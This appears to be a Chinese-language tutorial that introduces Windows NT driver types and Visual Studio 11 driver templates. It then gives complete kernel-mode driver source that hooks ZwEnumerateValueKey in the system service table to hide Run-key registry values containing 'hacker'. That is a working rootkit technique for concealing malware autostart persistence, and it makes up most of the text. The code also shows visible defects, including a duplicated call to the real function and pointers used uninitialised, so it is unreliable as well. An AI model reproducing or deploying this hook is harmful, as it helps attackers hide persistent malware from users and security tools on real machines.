在Windows NT中,80386保護模式的“保護”比Windows 95中更堅固,這個“鍍金的籠子”更加結實,更加難以打破。在Windows 95中,至少應用程式I/O操作是不受限制的,而在Windows NT中,我們的應用程式連這點許可權都被剝奪了。在NT中幾乎不太可能進入真正的ring0層。
在Windows NT中,存在三種Device Driver:
1.“Virtual device Driver” (VDD)。通過VDD,16位應用程式,如DOS 和Win16應用程式可以訪問特定的I/O連接埠(注意,不是直接存取,而是要通過VDD來實現訪問)。
2.“GDI Driver”,提供顯示和列印所需的GDI函數。
3.“Kernel Mode Driver”,實現對特定硬體的操作,比如說CreateFile, CloseHandle (對於檔案對象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”還是Windows NT中唯一可以對硬體中斷和DMA進行操作的Driver。SCSI 小連接埠驅動和 網卡NDIS 驅動都是Kernel Mode Driver的一種特殊形式。
Visual studio11與Windows8帶來格外不同的新體驗
1.啟動Vs11
2.看見滿目的驅動開發模板
3.選擇一個驅動模式,有核心模式與使用者模式兩種的驅動
4.建立一個驅動程式,KMDF DriverMVP
5.我們選擇的是核心模式的驅動程式,下面是建立成功後的介面,分別是驅動程式本身,與驅動安裝包
6.按下F5,選擇驅動編譯,
插入下列代碼實現ring0層隱藏註冊表,請見程式碼分析
#include <ntddk.h>extern NTSYSAPI NTSTATUS NTAPI ObQueryNameString(IN PVOID Object,OUT POBJECT_NAME_INFORMATION ObjectNameInfo,IN ULONG Length,OUT PULONG ReturnLength );extern NTSYSAPI NTSTATUS NTAPI ZwEnumerateValueKey(IN HANDLE KeyHandle,IN ULONG Index,IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,OUT PVOID KeyValueInformation,IN ULONG Length,OUT PULONG ResultLength );//聲明原有的函數typedef NTSTATUS (*REALZWENUMERATEVAlUEKEY)(IN HANDLE KeyHandle,IN ULONG Index,IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,OUT PVOID KeyValueInformation,IN ULONG Length,OUT PULONG ResultLength);//定義原函數的指標REALZWENUMERATEVAlUEKEY RealZwEnumerateValueKey;//我們HOOK的函數NTSTATUS HookZwEnumerateValueKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength );PCWSTR HideValue = L"hacker";// SYSTEMSERVICE 的定義 typedef struct ServiceDescriptorEntry { unsigned int * ServiceTableBase; // 關鍵字段, 指向系統服務分發常式的基地址 unsigned int * ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char * ParamTableBase; } ServiceDescriptorTableEntry_t, * PServiceDescriptorTableEntry_t; __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]PVOID GetPointer( HANDLE handle ){ PVOID pKey; if(!handle) return NULL; // ObReferenceObjectByHandle函數來獲得這個Handle對應的FileObject, 得到的指標轉換成檔案對象的指標 if(ObReferenceObjectByHandle( handle, 0, NULL, KernelMode, &pKey, NULL ) != STATUS_SUCCESS ) { pKey = NULL; } return pKey;}NTSTATUS HookZwEnumerateValueKey(IN HANDLE KeyHandle,IN ULONG Index,IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,OUT PVOID KeyValueInformation,IN ULONG Length,OUT PULONG ResultLength){PVOID pKey;UNICODE_STRING *pUniName;ULONG actualLen;ANSI_STRING keyname;NTSTATUS status;UNICODE_STRING uStrValueName;PCWSTR ValueName;status = ((REALZWENUMERATEVAlUEKEY)(RealZwEnumerateValueKey))( KeyHandle, Index, KeyValueInformationClass, KeyValueInformation, Length, ResultLength ); //得到檔案對象的指標if(pKey = GetPointer( KeyHandle)){//分配記憶體pUniName = ExAllocatePool(NonPagedPool, 1024*2);pUniName->MaximumLength = 512*2;//將pUniName裡的內容清空memset(pUniName,0,pUniName->MaximumLength); //得到登錄機碼的路徑if(NT_SUCCESS(ObQueryNameString(pKey, pUniName, 512*2, &actualLen))){RtlUnicodeStringToAnsiString(&keyname, pUniName, TRUE);keyname.Buffer=_strupr(keyname.Buffer);//判斷是不是Run項if (strcmp(keyname.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN") == 0){switch (KeyValueInformationClass){case KeyValueBasicInformation: //KEY_VALUE_BASIC_INFORMATIONValueName = ((PKEY_VALUE_BASIC_INFORMATION)KeyValueInformation)->Name;break;case KeyValueFullInformation: //KEY_VALUE_FULL_INFORMATIONValueName = ((PKEY_VALUE_FULL_INFORMATION)KeyValueInformation)->Name;break;}//判斷ValueName裡的值是否有hacker//如果有則將函數返回STATUS_ACCESS_DENIEDif ((ValueName != NULL) && (wcsstr(ValueName,HideValue) != NULL)){DbgPrint("Hide Value\n");RtlFreeAnsiString(&keyname); //釋放記憶體if(pUniName){ExFreePool(pUniName); }return STATUS_ACCESS_DENIED;}}}}status = RealZwEnumerateValueKey(KeyHandle,Index,KeyValueInformationClass,KeyValueInformation,Length,ResultLength);if(pUniName){ExFreePool(pUniName); }return(status);}VOID DriverUnload( IN PDRIVER_OBJECT DriverObject ){DbgPrint("驅動已經停止了\n");(REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = RealZwEnumerateValueKey;}NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ){DbgPrint("驅動已經載入了\n");RealZwEnumerateValueKey = (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)); (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = HookZwEnumerateValueKey; DriverObject->DriverUnload = DriverUnload;return STATUS_SUCCESS;}